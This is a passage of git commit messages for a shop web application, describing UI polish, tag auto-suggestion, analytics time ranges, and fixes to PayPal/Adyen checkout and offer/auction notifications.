Tested with a Valentine's/Patrick's-heavy sample: bigrams render as
"Valentine's Day", "Patrick's Day" with proper apostrophes; the bare
"Day" unigram drops because the bigrams together cover all its
products. 1080 tests passing.
 2026-05-15 11:41:46 -04:00
russell@unturf.com
4e203c4001
feat: product thumbnail hover/click swap — capability-driven enhancement 
New /static/js/product-thumbnail-swap.js (loaded with `defer` only when
thumbnail1 is present in product.extensions): hovering a thumbnail
swaps the .product-main preview image to that thumb's source; clicking
sticks the swap and preventDefault()s the anchor so the customer stays
on the product page. Mouseleave on the .product-images container
restores the cover image unless a click has pinned it.

The no-JS path is unchanged — each thumbnail stays wrapped in an
<a href target="_blank"> so clicking still opens the full image in a
new tab when the script isn't loaded. The script self-bails on
non-img main elements (watch-mode video / audio art) and on
.audio-cover so album-art swap doesn't fire on audio products.

CSS: .product-thumbnail gains a brief border-color transition + a
:hover navy outline so the affordance reads without changing markup.

Test: asset-served check for the new JS file. The template wiring is a
single guarded line; if it regresses, the visual smoke test on the
product page catches it.
 2026-05-15 11:40:46 -04:00
russell@unturf.com
873cb375a5
style: empty-cart buttons now match the right column's full width 
Previous attempt capped .cart-empty-actions at 320px, which made the
"Let's go shopping!" / "View Saved Carts" pair visibly narrower than
the "Make Cart Active" / "Delete Cart" pair in the right column —
still inconsistent.

Drop the cap and centering so the buttons fill the well exactly like
the right column's cart-action buttons. Both wells now produce the
same button width, one cohesive rhythm down the page.

Styleguide entry updated to match.
 2026-05-15 11:25:28 -04:00
russell@unturf.com
df65536c17
feat: MPS-24 Phase 2.2 — bigrams + title-required + supersession dedup 
Phase 2.1's max_share=0.4 filter only caught Students (53%); the other
four printableprompts generics (Resource / Activities / Writing /
Practice, each 30-32%) slipped through. And single-word "First" was
collapsing the real phrase "First Grade" into noise. Three compounding
fixes plus a dedup pass:

- Bigram detection: adjacent non-stopword tokens cluster as phrases.
  "Write the Room" → bigram "write room"; "First Grade Math" →
  "first grade"; "Valentine's Day Color" → "valentine day"; "Novel
  Study" → "novel study". Bigrams get 2× unigram weight per product —
  phrases out-rank single words when both cluster equally well.
- Title-required filter (min_title_share, default 0.3): candidate must
  appear in title of at least 30% of carrier products. Kills
  description-only marketing noise like "versions", "engaged",
  "offered", "during", "these", "check", "right", "well", "help",
  "time" — words that live in body copy but never in product titles.
- Expanded English stopword list (~80 → ~200): adds generic verbs
  ("see", "ask", "give", "tell", "show"), marketing fluff ("perfect",
  "best", "lovely", "amazing", "favorite"), content-medium nouns
  ("version", "sheet", "page", "draw", "line", "color", "theme",
  "graphic", "answer", "picture"), and their inflections.
- Bigram supersession: when a bigram and one of its component
  unigrams overlap ≥ 80% of products, drop the unigram. Operator sees
  "Write Room" once, not "Write" + "Room" + "Write Room" three times.

URL knobs: ?max_share=0.3 / ?max_share=1 / ?min_title=0.5 /
?min_title=0 / ?bigrams=0 / ?top_n=200. CLI: --min-title-share,
--no-bigrams flags on scripts/backfill_tags.py.

On a printableprompts-shaped fixture the new defaults surface
Write Room, Novel Study, Valentine Day as bigram phrases plus Math,
Counting, Addition, Literacy, Fall — 13 clean candidates instead of
the original 50 noisy ones.

1078 total tests passing; 5 new pure-function tests cover bigrams,
title-required filter, and supersession dedup.
 2026-05-15 10:49:54 -04:00
russell@unturf.com
1c43f467fc
fix: replace stale _cutoffs test — analytics now uses RANGE_SPECS 
bb54152 retired the _cutoffs() helper when the time-range dropdown
landed (1d/7d/14d/28d/6mo/1yr/lifetime), but TestAnalyticsHelpers still
imported it and asserted against the old "21d"/"365d" keys — the
breakage blocked CI for that commit and stalled the master deploy
queue. Rewrites the test to bind against the new RANGE_SPECS /
RANGE_KEYS / RANGE_LABELS surface that the dropdown actually reads.
 2026-05-15 10:27:06 -04:00
russell@unturf.com
95d297ae8a
style: mobile — promote buy CTA above description + comments 
Tablet/phone buyers had to scroll past the entire description and
comment thread to find Add to Cart. Desktop two-column has always kept
product-right visible as a side panel; this mobile rule mirrors that
intent.

New order on `@media (max-width: 800px)`:

  1. product-images      (sticky in watch mode)
  2. product-right       (price, Add to Cart, Preview, Up Next)  ← was 4
  3. product-description (was 2)
  4. product-comments    (was 3)

Also tightens product-right .well top margin from 30px → space-3 since
it no longer needs to separate from a comment thread above.
CLAUDE.md Mobile Layout doc updated to match.
 2026-05-15 10:25:45 -04:00
russell@unturf.com
d86372c288
style: cohesive empty-cart layout — single button rhythm, no duplicates 
The empty-cart view rendered three different button sizes side-by-side:
two compact `mps-button-small` chips in the left well ("View Saved
Carts", "Let's go shopping!") and three full-width primaries in the
right column ("Make Cart Active", "Delete Cart", "Continue shopping").
"Let's go shopping!" and "Continue shopping" pointed at the same `/`
link — a literal duplicate split across two columns.

Fix:

  templates/cart.j2
    - Replace the centered `<br>`-stacked left block with a proper
      `.cart-empty-state` well that uses full-width buttons sized to
      match the right column.
    - Drop unrelated cosmetic class aliases (product-edit-button,
      cart-checkout-button) inherited from other contexts.
    - Hide the right column's "Continue shopping" when the cart is
      empty — same intent as "Let's go shopping!" above it.

  static/css/common.css
    - New .cart-empty-state / .cart-empty-hint / .cart-empty-actions
      Grid-only rules: stacked, centered, max-width 320 so the buttons
      don't stretch awkwardly wide. Reuses var(--space-N) tokens.

  templates/styleguide.j2
    - New "Empty Cart State" subsection under Cart Action Buttons so
      the pattern lives where future empty-state work can find it.

All 25 cart-related functional tests pass.
 2026-05-15 10:19:04 -04:00
russell@unturf.com
55137af986
feat: /u/carts surfaces product list, checked-out marker, Activate button 
- New mps_invoice.cart_id (nullable FK to mps_cart.id, idempotent
  migration 2dbdb8c89e66). Invoice.apply_cart_negotiation(cart) now also
  tags the source cart, so we have a one→many Cart.invoices back-ref —
  every checkout flow already routes through that method.
- /u/carts list: each row now renders the cart's product titles as
  links (so the user can re-open them). When a cart is empty but has
  invoices (the json_cart was cleared / replaced after checkout), the
  row falls back to listing the line items from those invoices plus a
  "View receipt" button, so the user can repurchase without digging
  through their invoice history.
- Status indicators: a green "active" tag on the current cart, a navy
  "checked out" tag on rows with linked invoices.
- Activate button alongside Delete on every non-active row (POSTs to
  the existing /u/cart/{id}/activate route).
- Layout uses grid-template-areas (summary | actions / products span
  both) and collapses to a single column at ≤600px.

Tests: TestUserCartsList grows three new cases — Activate flips the
active flag, non-empty rows show product titles + links, checked-out
empty carts surface the invoice line items + receipt link.
6 in class pass; full Checkout/Cart slice (42 tests) still green.
 2026-05-15 10:01:35 -04:00
russell@unturf.com
bb54152d47
feat: time-range dropdown on analytics — 1d / 7d / 14d / 28d / 6mo / 1yr / lifetime 
A `?range=` query param threads through every shop + product analytics
query. The page renders a <select> in the header that re-loads with the
chosen range; default stays 28d so existing bookmarks behave the same.

Bucket coarsening keeps every chart ~24-30 bars regardless of range:

  range      bucket     ~bars  label format
  ───────────────────────────────────────────
  1d         hourly     24     HH:00
  7d         daily      7      Mon
  14d        daily      14     Mar 5
  28d        daily      28     Mar 5
  6mo        weekly     26     Mar 5
  1yr        biweekly   26     Mar
  lifetime   monthly+   ~24    Mar '25

Lifetime sizes its bucket dynamically from the shop's first PageSession
so old shops widen past monthly. RANGE_SPECS in views/analytics.py owns
all of it; `label_step` thins x-axis labels per range so they don't
collide.

Every section that used to be hardcoded 7d / 14d / 21d / 28d now reads
the selected range: overview strip, top products (now total + newer-half
+ older-half + trend arrow), ring entries, engagement / attention /
learning / passive boards, video metrics, traffic, devices, sentiment,
keywords, referrer domains, search queries, referrer trend chart.

Ring Consumed (its own multi-range card) and Views Over Time on the
product page stay fixed — they're permanent comparison views.

Test coverage: TestAnalytics.test_analytics_shows_overview_with_data
now asserts the default-range label, that the range <select> renders,
and that switching to ?range=7d re-labels the overview.
 2026-05-15 09:56:16 -04:00
russell@unturf.com
546e85416e
feat: MPS-24 Phase 2.1 — drop shop-vocabulary stems, surface more candidates 
First Phase 2 deploy surfaced the wrong candidates on
shop.printableprompts.com: Students (53%), Resource (32%), Activities
(32%), Writing (31%), Practice (30%). These are shop vocabulary —
words that describe the whole shop, not categories within it. A stem
in 53% of products gives a shopper almost no information about which
subset a product belongs to.

- lib/tag_suggest.py: new max_share filter (default 0.4). Stems whose
  product share exceeds this fraction auto-drop as shop vocabulary.
  suggest_clusters now returns (clusters, filtered_count) so the UI
  can show how many stems were filtered.
- top_n default 20 → 50 so the long tail of niche categories surfaces.
- views/shop.py: ?max_share=0.3 (stricter), ?max_share=1 (disable),
  ?top_n=200 URL knobs on the suggestions endpoint — power users tune
  in the browser without redeploying. Floats over 1.0 are interpreted
  as percentages (40 → 0.4) so the URL accepts either form.
- templates/shop_tags.j2: filtered-count hint with copy-paste tuning
  knobs ("?max_share=0.3 stricter, ?max_share=1 to disable").
- scripts/backfill_tags.py: --max-share=0.4 CLI flag.
- Tests: test_suggest_clusters_filters_shop_vocabulary +
  test_suggest_clusters_max_share_one_disables_filter. Existing pure-
  function tests pass max_share=1.0 since their tiny fixtures would
  otherwise be penalised for being small. 1067 total passing.
 2026-05-15 09:51:16 -04:00
russell@unturf.com
60a6f02cbc
feat: delete buttons on /u/carts + on empty saved carts, with confirm 
The saved-carts list (/u/carts) had no delete affordance, and the cart
detail page's Delete Cart button was hidden the moment a cart went empty
(the entire .cart-right column was gated on `not cart.is_empty`), so
abandoned empty saved carts couldn't be cleaned up.

- /u/carts now renders each row in a .content-card with a Delete form
  on every non-active cart (the active cart is marked "active" and
  cannot be deleted — the existing view rejects it anyway). The form
  carries onsubmit="return confirm(...)" so a stray click can't nuke a
  saved cart by accident.
- The cart detail page's right column now also renders when the cart is
  empty AND the viewer owns it AND it's not active — so the Delete Cart
  button (already gated on non-active) becomes reachable from there too.
  Added the same confirm prompt on that form.
- carts.j2 rewritten to use the design system (.content-card,
  --surface-dim cart-rows, --color-green active accent, --color-danger
  delete button) instead of the prior bare <h2> + <section> + <a> stack.

Tests: TestUserCartsList — 3 functional tests covering inactive cart
shows delete (active doesn't), POST deletes and redirects + row gone,
POST against active cart is rejected (flash + redirect). 3 pass.
 2026-05-15 09:45:11 -04:00
russell@unturf.com
14ebda23a0
fix: analytics charts now show y-axis units & tick labels 
5 tick labels (0/25/50/75/100% of max) appear on every analytics
chart's y-axis — line_chart macro accepts unit ("s") or as_pct=True
for percentage charts, plus an optional axis_label rendered top-left
above the highest tick. Daily-views bar chart gets the same treatment
inline (unit "views").

Per chart:
  Daily views        bar  → "views" axis, integer ticks
  Session Duration   line → "s" unit, "seconds" axis label
  Engagement         line → 0-100% formatting
  Bounce Rate        line → 0-100% formatting
  External Referrer  line → "visits" axis, integer ticks

viewBox widens from 560→610 to reserve ~50px on the left for the
y-tick labels; SVG scales to container so no CSS change is needed.
 2026-05-15 09:35:01 -04:00
russell@unturf.com
4cbd7e4b20
fix: scope /u/notifications + navbar badge to the current shop 
Operator users may own multiple custom-domain shops (e.g. shop.unturf.com
and media.unturf.com). Notifications carried a shop_id at insert time
already (lib/notifications.py, views/offer.py:_drop_offer_notification),
but the listing + the navbar unread count queried by user_id only, so
each shop's site surfaced every other shop's offers / sales / auctions.

Both count_unread_notifications and get_notifications_for_user now take
an optional `shop` kwarg. When supplied, they filter to that shop_id
plus shop_id IS NULL (so account-level rows — logins, etc. — still
follow the user regardless of which shop's site they're on). The
notifications view passes request.shop; the navbar badge does too via
add_unread_notification_count.

Tests: TestNotifications gains test_notifications_isolated_per_shop —
two shops owned by the same user, three rows (one per shop + one
shop-less); shop_a context shows shop_a + global, shop_b context shows
shop_b + global, no-shop call still returns all three. 4 in class pass.
 2026-05-15 09:25:17 -04:00
russell@unturf.com
1075004419
chore: one-off data fix — paid-but-stuck offers + orphan cart_offers 
Two ACCEPTED offers on shop.unturf.com were paid via PayPal but never
transitioned ACCEPTED → PAID because the cart-drain TypeError 502'd
the complete-checkout flow before mark_paid could fire (fixed by
ef91469 + 31e06ff + 6e44027). The /u/offers page still lists them
as Accepted with active Pay $X buttons that would re-charge.

Migration 73c5cb973915:
  1. Flips the two specific offer IDs to PAID, stamps
     paid_timestamp, writes a synthetic OFFER_EVENT_PAY entry in
     the offer-event log so the History panel reflects reality.
  2. Sweeps every cart_offer row whose offer is now in PAID state.
     These are orphans from pre-6e44027 drained carts — the
     symptom is an empty cart still rendering the green
     "Offer accepted" banner with a $X.XX total in the navbar
     even though the offer is settled.
  3. Same sweep for cart_auction → SETTLED auctions, for parity.

The flip-to-PAID is guarded — it only runs on offers still in
ACCEPTED state, so a re-run is a no-op. The cart_offer / cart_auction
sweep joins to terminal-state offers/auctions, so it's idempotent.
 2026-05-15 09:20:36 -04:00
russell@unturf.com
5dbbe697b6
feat: MPS-24 Phase 2 — auto-suggest tags from title + description 
Operator with 481 untagged products (printableprompts.com) gets a
one-click path to a usable categorization without hand-tagging each
product. Strictly suggest-then-approve — nothing writes Tag or
ProductTag rows until the operator clicks Apply on a cluster.

- lib/tag_suggest.py: pure-function clusterer. Tokenize title (weight 3)
  + description (weight 1, capped at 100 unique tokens per product),
  strip markdown / URLs / HTML, English + per-shop stopwords, simple
  suffix-strip stemmer, group by stem, drop stems matching existing
  tag slugs, rank by product count, label each cluster with the most
  frequent original word for its stem. No new deps, no ML.
- scripts/backfill_tags.py: CLI preview + --apply for a single shop.
- views/shop.py: shop_tags gains action=apply_suggestion (creates tag +
  bulk-attaches every product in cluster) and action=dismiss_suggestion
  (adds the cluster's words to shop.tag_stopwords_json so it never
  resurfaces). ?show_suggestions=1 triggers the cluster compute.
- templates/shop_tags.j2: "Suggest categories from titles + descriptions"
  button + suggestions well with per-cluster sample titles, Apply, and
  Dismiss buttons.
- 15 new tests (11 unit over tokenize / stem / cluster + 4 functional
  over the suggest/apply/dismiss flow). 1064 total passing.

On a printableprompts-style sample the clusterer surfaces Math, Reading,
Literacy, Seasonal, Novel, Activities, Comprehension — matching what an
operator would manually pick.
 2026-05-15 09:09:40 -04:00
russell@unturf.com
c03ca53fb4
feat: MPS-24 — shop home page categorization (tags + chips + sectioned lanes) 
Operator feedback on shop.printableprompts.com flagged our flat default
home page as the reason for considering a move to Shopify. This adds an
opt-in home_layout selector with the navigation primitives shoppers expect
from a modern catalog — fewer clicks to a relevant product.

Phase 1 shipped (default unchanged for every existing shop):

- New Tag + ProductTag models, shop-scoped, many-per-product, flat (no tree)
- Shop.home_layout (0=flat / 1=chips / 2=lanes) plus tag/lane caps, optional
  featured strip, and per-shop tag stopwords for the Phase 2 auto-tagger
- home-layout-settings form section in shop_settings.j2
- Bulk tag editor at /s/{shop_id}/tags with apply/remove per product
- Public tag detail page at /s/{shop_id}/tag/{slug} (works without JS)
- Comma-separated tag input on the product edit form
- home.j2 / shop.j2 branch on layout — chip strip for layout 1, sectioned
  lanes for layout 2, flat unchanged for layout 0
- /search results page also receives the chip strip so shoppers can narrow
  keyword results by tag
- static/js/tag_filter.js progressively enhances chip clicks into in-place
  grid filtering via data-tag-slugs — zero navigation cost, capability-driven
  fallback to ?tag= URL nav with no JS
- New chip / lane CSS in common.css — tokens only, Grid only (no flexbox)
- Live tag-chip + tag-lane examples in /styleguide under #cards
- Idempotent Alembic migration creates 2 tables + 5 shop columns with
  server_default + _table_exists / _column_exists guards
- 24 new tests across unit + functional layers (1049 total passing)
- New "Ticket Scoping — One Feature, One Ticket" rule in CLAUDE.md;
  Phase 2 (deterministic auto-tag from titles) and Phase 3 (uncloseai-
  backed ML categorization behind a kill switch) stay under this ticket
 2026-05-15 08:48:25 -04:00
russell@unturf.com
3e4e663498
style: product page polish — content-card layering, comment form fix 
Wrap the product page's Description, File info, and Comments sections in
a new .content-card pattern: white surface, --border-light, --elevation-1
shadow, --radius-lg, --space-5 padding. Replaces the loose <br/><br/>
separators each section used to rely on with proper visual chunks layered
above the page surface (material-style).

Comment form fixes:
- Add input[type=email] to the global input style block (was unstyled,
  picking up browser default narrow width — the inline style="width:100%"
  on .comment-form-field's <input> got swamped by browser default).
- Replace ad-hoc <div>/<br/> markup with .comment-form-field rows; inputs
  and textarea fill width via box-sizing:border-box; submit button is
  justify-self:start instead of stretching across the form.
- Individual comments now sit on a --surface-dim soft inset card with
  --color-navy left accent on .comment-reply; .comment-header is a
  baseline-aligned 3-col grid (name / date / title).

Back-to-shop link is now a small secondary anchor (.mps-button-small),
left-aligned, instead of a full-width button.

Styleguide gains three subsections: Content card (under #wells), Comment
form, and a sample rendered comment with reply (under #comments).

Tests: targeted product/comment/styleguide slice — 51 passed.
 2026-05-15 08:27:34 -04:00
russell@unturf.com
6e44027354
fix: delete cart_offer / cart_auction rows after payment finalizes 
The previous fix drained line items from a paid cart but left the
cart_offer (or cart_auction) association row alive. The cart then
reads as is_negotiated=True with zero products — the cart page
renders the green "Offer accepted" card on top of an empty cart,
the cart total shows the override amount, and the navbar reads
"Cart $1.00 (0)" — 0 items, $1.00 total.

_finalize_auction_offer_state now also dbsession.delete()s the
association row immediately after flipping offer.state=PAID and
auction.state=SETTLED. The negotiation is single-use; once the
offer is PAID, the cart should be a plain empty cart.

The Cart.auction_offer_override_in_cents property short-circuits
on cart_auctions/cart_offers truthiness, so removing the row
makes is_negotiated return False, the negotiation card disappears,
and total_in_cents stops returning the override.
 2026-05-15 07:55:17 -04:00
russell@unturf.com
ef9146956d
fix: PayPal + Adyen checkout — drop bad quantity arg to cart.remove_product 
This is the inner exception the tm.doom switch was meant to surface.
The PayPal complete-checkout flash now reads:

  "Payment processing failed: Cart.remove_product() takes 2 positional
   arguments but 3 were given"

Cart.remove_product(self, product) deletes the cart entry entirely;
it doesn't take a quantity. Two callsites in cart.py were passing
line_item.quantity as a second positional arg — both inside the
post-payment "drain the cart" loop that runs AFTER PayPal capture
succeeded:

  views/cart.py:1094 — paypal_complete_checkout
  views/cart.py:1345 — adyen_complete_checkout

PayPal got the buyer's money, the capture API succeeded, then the
cart-drain raised TypeError. Pre-tm.doom that bubbled into the
except block, hit tm.abort, blew up pyramid_tm.tm_tween →
uwsgi 500 → Caddy 502 — buyer charged, no invoice on our side.

Drop the quantity arg. cart.remove_product deletes the cart entry
unconditionally; the line item's full quantity is removed in one
shot, which is what the post-checkout drain wants anyway.

Stripe's user_cart_complete_checkout doesn't call remove_product at
all (it relies on cart.update_inventory + a session-clear elsewhere)
— that's why this only ever bit PayPal + Adyen.
 2026-05-15 06:46:34 -04:00
russell@unturf.com
31e06ffb0a
fix: payment 502s + bump existing shops 168h→72h offer expiration 
Two issues fox flagged from prod observation:

1. PayPal capture succeeded but MPS returned 502 Bad Gateway —
   buyer was charged, no invoice landed. Root cause traced via
   tmux-hosts journalctl on mps-uwsgi1:

     transaction.interfaces.NoTransaction
       File "pyramid_tm/__init__.py", line 146, in tm_tween
         if manager.isDoomed():
       File "transaction/_manager.py", line 88, in get
         raise NoTransaction()

   All four payment-complete-checkout exception handlers in
   views/cart.py called `request.tm.abort()` and returned
   HTTPFound. abort() yanked the transaction out from under
   pyramid_tm.tm_tween, whose post-view manager.isDoomed() check
   then raised NoTransaction → uwsgi 500 → Caddy 502.

   Fix: `request.tm.doom()` instead. Flags the txn for abort but
   leaves it for pyramid_tm to clean up — the documented pattern.
   Also added logging.getLogger(__name__).exception() at each
   except so the original failure is captured in journalctl
   instead of being swallowed into a flash message we can't see.
   The flash + 302 redirect path still works for the user.

   Four sites patched:
     - user_cart_complete_checkout (Stripe) x2 (CardError + Exception)
     - paypal_complete_checkout
     - adyen_complete_checkout

   The original inner exception in fox's PayPal case is still
   unknown — the bug masked it. Next failed payment will surface
   the real stack in journalctl.

2. Existing shops still showing 7-day (168h) seller-response
   window even after DEFAULT_OFFER_EXPIRATION_HOURS dropped to 72.
   The shop column default is for new rows only; rows already in
   the DB kept 168. Migration 7d6af811b6a1 bumps any shop still
   at the literal 168 down to 72; shops that explicitly customized
   (any other value) are left alone.
 2026-05-14 20:45:11 -04:00
russell@unturf.com
7b9d7dc25e
fix: remove every mid-page state-notice alert on the offer page 
Fox flagged this three times. Each pass I removed one or two of these
orphan stripes — green Accepted, blue can_act/is_open. Four were
still left in:

  is_declined  → red    "automatically declined — try a higher amount"
  is_withdrawn → yellow "This offer was withdrawn by the buyer."
  is_expired   → yellow "This offer expired before it was accepted."
  is_paid      → green  "Paid — this offer is complete."

The red declined alert was also actively wrong: it asserted "below
the seller's minimum and was automatically declined" even when the
seller manually declined a perfectly reasonable offer. That copy
was hardcoded; the template didn't know whether the auto-decline
threshold fired or a seller hit the button.

Burn all of them. The offer-state-badge in the header well already
shows the state (Accepted / Declined / Withdrawn / Expired / Paid /
Cancelled by buyer) and the action wells below carry every actionable
detail. The orphan stripes were redundant at best and lying at worst.

Functional test test_offer_page_shows_declined_notice → renamed to
test_offer_page_shows_declined_state_in_badge. Asserts:
  - offer-state-badge offer-state-3 + "Declined" text in header
  - "offer-state-notice" string NOT in body
  - "automatically declined" string NOT in body
 2026-05-14 17:41:36 -04:00
russell@unturf.com
3c8dbca7c6
fix: PayPal + Adyen complete paths flip offer.state ACCEPTED → PAID 
A negotiated cart paid through Stripe's user_cart_complete_checkout
already fired _finalize_auction_offer_state(cart, request) — which
flips linked offers to PAID and linked auctions to SETTLED. But the
PayPal complete-checkout (cart.py:paypal_complete_checkout) and the
Adyen complete-checkout (cart.py:adyen_complete_checkout) paths
never called it.

Symptom: buyer pays a negotiated offer through PayPal or Adyen,
invoice is written, sale email fires — but offer.state stays at
ACCEPTED. The offer detail page keeps rendering the Pay $X / Cancel
buttons because `{% if is_accepted and not is_paid %}` is still True.
Even worse, the buyer could click Cancel after the payment had
processed (the cancel endpoint guarded on `state != ACCEPTED`, which
also still permitted it).

Fix: add the _finalize_auction_offer_state(cart, request) call to
both paypal_complete_checkout and adyen_complete_checkout, right
when successful_invoices is populated — before the cart line items
get drained. Each takes (cart, request) which both sites have in
scope. With the offer now in PAID:
- is_paid=True flips the offer.j2 gate, hiding Pay/Cancel.
- /o/{id}/cancel raises OfferRejected ("only accepted offers can
  be cancelled by buyer").
- _user_party / shop_offers / buyer dashboards all read the right
  terminal state.

Note: this only patches the cart.py callsites. Webhook fallbacks
(views/webhooks.py) and the crypto-watcher finalize path
(lib/crypto_watcher/__init__.py) still don't call mark_paid because
they only have `invoice`, not `cart`. Follow-up will route those
through a `_finalize_invoice_negotiation(invoice, session)` helper
once that's needed; the cart.py paths cover the common case.
 2026-05-14 17:36:44 -04:00
russell@unturf.com
9fc280fd7b
fix: email images — propagate shop_cdn_endpoint + thumbnails in offers 
Two coupled fixes the rendered sale email exposed:

  <img src="None/<shop_id>/<product_id>/thumbnail1?ts=...">

1. ShopContextRequestWrapper (lib/crypto_watcher/__init__.py:1243)
   wraps env_request for email-rendering inside the watcher loop. It
   overrode domain / host_url / app and proxied everything else via
   __getattr__. send_purchase_email + send_sale_email read
   `request.shop_cdn_endpoint` — but that's a reified Pyramid request
   method, not a static attr on env_request. __getattr__'s default
   returned None, and the email's <img src> became `None/.../...`.

   Fix: add explicit `shop_cdn_endpoint` (and `shop`) properties on
   the wrapper, derived from the wrapper's `_shop`. Order:
     - BYOB shop with primary_s3_cdn_endpoint set → that
     - else `app["bucket.secure_uploads.get_endpoint"]` (MPS default)
     - else None
   The BYOB branch also defends against an enabled-but-blank
   primary_s3_cdn_endpoint — drops to the default rather than
   returning None.

2. Offer + auction-outbid emails carried no product thumbnail at
   all — bummer, since the recipient can't visually identify which
   item the negotiation is about. New _product_thumbnail_html(request,
   product) helper renders a 184px-max <img> identical to the
   purchase/sale shape (or empty string if the product has no
   thumbnail1 extension / no CDN endpoint).

   Wired into:
     - send_offer_received_email
     - send_offer_accepted_email
     - send_offer_countered_email
     - send_offer_declined_email
     - send_offer_withdrawn_email
     - send_offer_buyer_cancelled_email
     - send_auction_outbid_email

   Templates in lib/mail_messages.py gained a `{thumbnail}` slot
   between the headline and the click-through link. Text variants are
   unchanged (no inline images in text email).

Both fixes target the same surface: every transactional email now
renders the right image, regardless of whether it's sent from a
view (Pyramid request) or the crypto watcher loop (wrapped env_req).
 2026-05-14 17:30:02 -04:00
russell@unturf.com
da79b11cae
fix: buyer can withdraw offer while waiting on seller 
The withdraw form on /o/<id> was nested inside the buyer's
`can_act` (your-turn) block, so a buyer who'd just opened an offer
or whose counter was awaiting the seller's response saw the
"Waiting on the other party" panel with no way to back out — they
either had to wait for auto-expiry or message the seller.

Add a symmetric withdraw form inside the `is_open` waiting block,
gated on actor_party == 0 (viewer is the buyer). The lib already
permits withdraw at any non-terminal pre-accept state
(lib/offer.py withdraw_offer); only the UI was the bottleneck.

Sellers don't get a symmetric "pull out" here — they decline
instead, which lives in their can_act block.

Regression test test_buyer_sees_withdraw_button_while_waiting_on_seller
asserts the form action and "Withdraw offer" copy render on a
PENDING offer from the buyer's view.
 2026-05-14 17:03:09 -04:00
russell@unturf.com
f9216befd6
fix: notification helpers never propagate exceptions 
CI on commit 5f735ee broke two double-spend-protection unit tests:

  TypeError: unsupported format string passed to MagicMock.__format__

The new notify_purchase_and_sale() call inside the crypto-watcher
finalization path runs `f"${invoice.total:.2f}"` to compose the
notification body. The double-spend tests pass a MagicMock as the
invoice — its .total is a MagicMock too — and the format-spec call
fails before _safe_add even runs.

Fix: wrap every public notify_* helper in a top-level
try/except-and-log. A notification persist failure must not
propagate up the payment-finalization stack (it didn't matter in
prod because real invoices format fine, but the unit-test mocks
exposed the contract gap).

All five helpers updated: notify_purchase_and_sale,
notify_auction_outbid, notify_auction_won,
notify_auction_ended_no_winner, notify_offer_expired. Inner
functions hold the actual logic; the outer wrapper is just the
swallow-and-log shield.

This also stops a transient DB or attribute error inside the
helper from rolling back the payment txn — same defense the
_safe_email wrapper provides for mail sends.
 2026-05-14 16:44:45 -04:00
russell@unturf.com
5f735ee1d3
fix: drop redundant blue state-notice on offer page; default 48h → 72h 
Two cleanups:

1. The orphaned blue "Waiting on the other party to respond" stripe
   (alert-info-bg) appeared between the offer header and the
   "Waiting on the other party · They have in X to respond" well
   below — identical copy, twice. Same pattern as the previously
   removed green "Offer accepted" banner. Dropping both the can_act
   ("It's your turn — accept, counter, or decline below") and
   is_open branches of the state-notice. The "Your turn" section
   heading and the waiting well right below already carry the
   message, with the live countdown that the alert lacked.

   Kept: DECLINED, WITHDRAWN, EXPIRED, PAID — those have no
   follow-on action block, so the alert is the only signal.

2. DEFAULT_OFFER_EXPIRATION_HOURS 48 → 72 (3 days). Fox: 48h still
   too tight for sellers checking shop mail intermittently. 7 days
   was too generous, 48 hours was on the strict side. 72 hours
   covers a long weekend.

Per-shop overrides are unchanged — operators tweak
offer_expiration_hours via offer-settings on /s/<shop>/settings.
 2026-05-14 16:26:23 -04:00
russell@unturf.com
547cc14589
docs: notification system + design-system surface for offers/auctions 
- New docs/notifications.md: schema, kind matrix, breadcrumb walk,
  per-call-site wiring, UI surfaces, read-but-not-deleted semantics,
  non-fatal design.
- docs/architecture.md feature-toggle matrix extended with
  make-an-offer (shop + per-product gate), pre-accept expiration
  window, post-accept pay window, and the always-on notification
  surface. Related-docs section now links the new notifications doc
  + the existing auction-house / make-offer state-machine docs.
- docs/design-system.md component library extended with every class
  shipped this offer/auction/notification cycle: cart-negotiation-card
  + deadline + pill, offer-pay-cta-actions row, auction-winner-pay
  well, product-add-disabled-note, shop-offers-page width override,
  notification-badge pill + row + breadcrumbs + read-fade behavior,
  billing redesign classes, and the [data-pay-deadline] tick
  convention.
 2026-05-14 14:49:39 -04:00
russell@unturf.com
d9bd95bfee
refactor: /version reads CI commit-hash.txt with layered fallbacks 
Ported remarkbox's pattern over to MPS. views/version.py now tries
sources in order:

  1. /opt/make_post_sell/commit-hash.txt          (CI deploy artifact)
  2. /opt/make_post_sell/env/commit-hash.txt      (alt salt layout)
  3. <package>/../commit-hash.txt                 (relative)
  4. <package>/GIT_HASH                           (setup.py legacy)
  5. git rev-parse --short HEAD                   (dev environment)
  6. "unknown"                                    (last resort)

MPS CI's build stage already writes commit-hash.txt to the artifact
tarball (.gitlab-ci.yml:38 `echo $CI_COMMIT_SHA >> commit-hash.txt`);
salt deploys it. setup.py's GIT_HASH rewrite still runs at install
time as a redundant fallback, so any environment that hasn't migrated
to commit-hash.txt yet keeps working.

Dev environments fall through to git rev-parse, which is faster and
more accurate than the previous setup.py-rewrites-source pattern that
required the file to be in the package at runtime. With this change,
/version returns the actual deployed commit hash everywhere — no
stale GIT_HASH file in git history (the file is .gitignored as of
c383c41).
 2026-05-14 14:49:27 -04:00
russell@unturf.com
a352a9381d
feat: auction-won / auction-ended / offer-expired notifications 
Plug the remaining state-machine gaps the previous notification
batch left dark. With auction_tick and offer_tick running on cron,
buyers and sellers now learn about every passive transition:

- auction_tick ACTIVE → ENDED (with winner) drops
  notify_auction_won for the winner — they see the pay CTA + 48h
  payment_deadline before it lapses. Previously only the email
  fired (and only if SMTP succeeded); now the in-app row also
  exists with breadcrumbs Shop → Product → Auction.
- auction_tick ACTIVE → ENDED (without winner / reserve not met)
  drops notify_auction_ended_no_winner for shop owners so they
  can decide to relist.
- offer_tick PENDING/COUNTERED → EXPIRED and ACCEPTED → EXPIRED
  both drop notify_offer_expired for buyer + shop owners. The
  buyer was the most-affected silent case: they made an offer,
  the seller never responded, the offer auto-expired, the buyer
  never knew.

Four new notification kinds in models/notification.py:
auction_won, auction_ended_no_winner, auction_cancelled
(reserved — no call site yet), offer_expired.

lib/notifications.py orchestrator refactored: _resolve_session()
accepts either a Pyramid request or a SQLAlchemy session so the
same helpers work in views AND tick jobs.

Integration tests in TestAuctionTickIntegration and
TestOfferTickIntegration assert the right row exists with the
right kind + FK after each tick.
 2026-05-14 14:49:08 -04:00
russell@unturf.com
1977d3361e
feat: purchase/sale + auction-outbid notifications + read-fade UX 
Three remaining notification surfaces wired:

1. Purchase (buyer) + sale (every shop owner) notifications drop on
   every cart-completion site. Coverage:
   - views/cart.py x3 (Stripe / PayPal-create / Adyen) — alongside the
